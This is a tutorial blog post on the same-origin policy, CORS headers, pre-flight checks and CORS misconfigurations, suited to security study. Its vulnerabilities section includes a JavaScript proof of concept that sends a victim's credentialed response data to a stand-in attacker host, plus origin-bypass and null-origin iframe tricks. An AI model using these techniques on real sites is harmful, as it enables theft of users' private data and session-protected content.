Home Cross-Origin Resource sharing (CORS)
Post
Cancel

Cross-Origin Resource sharing (CORS)

Untitled

CORS is a browser mechanism which enables access to resources that reside outside of a given domain. If it is poorly configured, it could lead to cross-domain attacks.

To better understand CORS, it’s important to understand the Same Origin Policy (SOP) first

Same-origin policy (SOP)

This security mechanism aims to prevent websites from attacking each other. It is used by the browsers to restrict scripts on one origin to access data from another one.

Remember that an origin is the URI scheme, domain and and port number. A site is just the Top Level Domain (TLD) and the TLD+1.

This policy is important because when a browser send a request to an origin, it adds all the cookies, including authentication session cookies. Then, when accessing malicious sites, the site could execute scripts and do request to other origins and those requests will have your cookies, executing actions on their behalf.

The SOP avoids this by limiting the access that JavaScript code has to content loaded cross-domain. However, it is allowed to load page resources from other origins, for example <img> , <video> and even <script> but any JavaScript on the page won’t be able to read the contents.

  • Some objects are writable but not readable cross-domain: location and location.href properties
  • Other objects are readable but not writable cross-domain: length and closed property of the window property.
  • The replace function can be called cross-domain on the location object
  • The close, blur, postMessageand focus functions can be called on a new window cross-domain.
  • Cookies are often accessible from all subdomains of a site (unless the HttpOnly flag is used, which only allow the access to cookies when doing HTTP requests and avoid JavaScript to access them).

You can relax SOP if two domains that are part of the same fully qualified domain name, for example test.com and website.test.com by setting the same document.domain to test.com.

Access-Control-Allow-Origin (ACAO)

Since SOP is very restrictive and nowadays websites need to interact with subdomains or third-parties, most site require full cross-origin access. This is where CORS appears. It uses several HTTP headers to define trusted web origins. These headers are exchanged between the browser and the cross-origin website.

One of the headers is the Access-Control-Allow-Origin header. This header identifies the permitted origin of the request. The browser checks if the origin i the same as the page where the cross-origin request is being executed. If not, it doesn’t allow access.

The specification of Access-Control-Allow-Origin permits to define multiple origins, however browsers don’t support it. It also allows the null and the wildcard * values. If a server wants to allow several specific origins, the recommended way to do it is to have your server read the Origin header from the client, compare that to the list of origins you would like to allow, and if it matches, echo the value of the Origin header back to the client as the Access-Control-Allow-Origin header in the response.

The default behavior of cross-origin requests is to be passed without credentials such as cookies, however, the servers can permit it by setting the Access-Control-Allow-Credentials to true. Otherwise, if credentials were sent to the request but the response header is not true, the browser won’t allow to read the response.

Wildcards cannot be used within any other value. For example, the following header is not valid:

1
Access-Control-Allow-Origin: https://*.normal-website.com

In addition to this restriction, the wildcard origin can’t be used with Access-Control-Allow-Credentials = true

Pre-flight checks

A pre-flight check is a preliminary HTTP request (using the OPTIONS method) sent by a web browser to a server before making the actual cross-origin request.

When a web page makes a cross-origin HTTP request that is not a simple request (e.g., includes certain headers, or uses methods other than GET, HEAD, or POST), the browser sends an HTTP OPTIONS request to the server as a pre-flight check. This pre-flight request includes headers such as Origin (indicating the origin of the requesting site), Access-Control-Request-Method (indicating the HTTP method that will be used in the actual request), and possibly Access-Control-Request-Headers (listing the headers that will be included in the actual request).

The server needs to respond to this pre-flight request with the appropriate CORS headers, indicating whether the actual request is permitted. The key CORS headers in the response include:

  • Access-Control-Allow-Origin: Specifies which origins are allowed to access the resource.
  • Access-Control-Allow-Methods: Specifies the HTTP methods that are allowed when accessing the resource.
  • Access-Control-Allow-Headers: Specifies which HTTP headers are allowed in the actual request.

If the server responds with the appropriate CORS headers and indicates that the actual request is allowed, the browser will proceed to make the actual cross-origin request. If the pre-flight check fails, the browser will block the actual request, and the web page won’t be able to access the requested resource.

Note that CORS and SOP applies to JavaScript, so requests sent through forms are not subject to CORS and SOP, hence, a good CORS implementation doesn’t imply that the web is not vulnerable to CSRF.

Vulnerabilities

Since maintaining a list of trusted origins is difficult and requires maintenance, some applications read the Origin header and include its value to the Access-Control-Allow-Origin header, without checking if it is a trusted origin or not.

Because the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that absolutely any domain can access resources from the vulnerable domain. If it also has the Access-Control-Allow-Credentials: true, credentials can be stolen.

Lets see an example:

In this request I added the Origin Header with a made up URL:

Untitled

If we analyze the response, we can see that the Origin is added in the Allow Origin header and it also allows credentials, so we could exploit this to perform a cross origin request from a malicious site.

Untitled

If a malicious site had this script:

1
2
3
4
5
6
7
8
9
10
11
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','vulnerablesite.com/endpoint',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='malicious-website.com/log?key='+this.responseText;
    };
</script>

The cross-request would happen and the private data could be extracted in the malicious server by checking the logs in the /log endpoint.

Another vulnerability may arise when a server does check the origin with a whitelist, but it allow all subdomains by checking URL prefixes or suffixes. If the check is incorrectly, an attacker could try to create its own domain to bypass this check.

For example, if the server checks for the normal-website.com domain incorrectly, the malicious domains: maliciousnormal-website.com or normal-website.com.malicious.net could bypass the check.

It is also allowed to specify the null origin value and some applications may have it whitelisted. An attacker could create requests containing the null origin by using sandboxed iframes

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>.......</script>"</iframe>

Last but not least, if a server trust an origin which is vulnerable to XSS, an attacker could inject the XSS code and access de data.

This post is licensed under CC BY 4.0 by the author.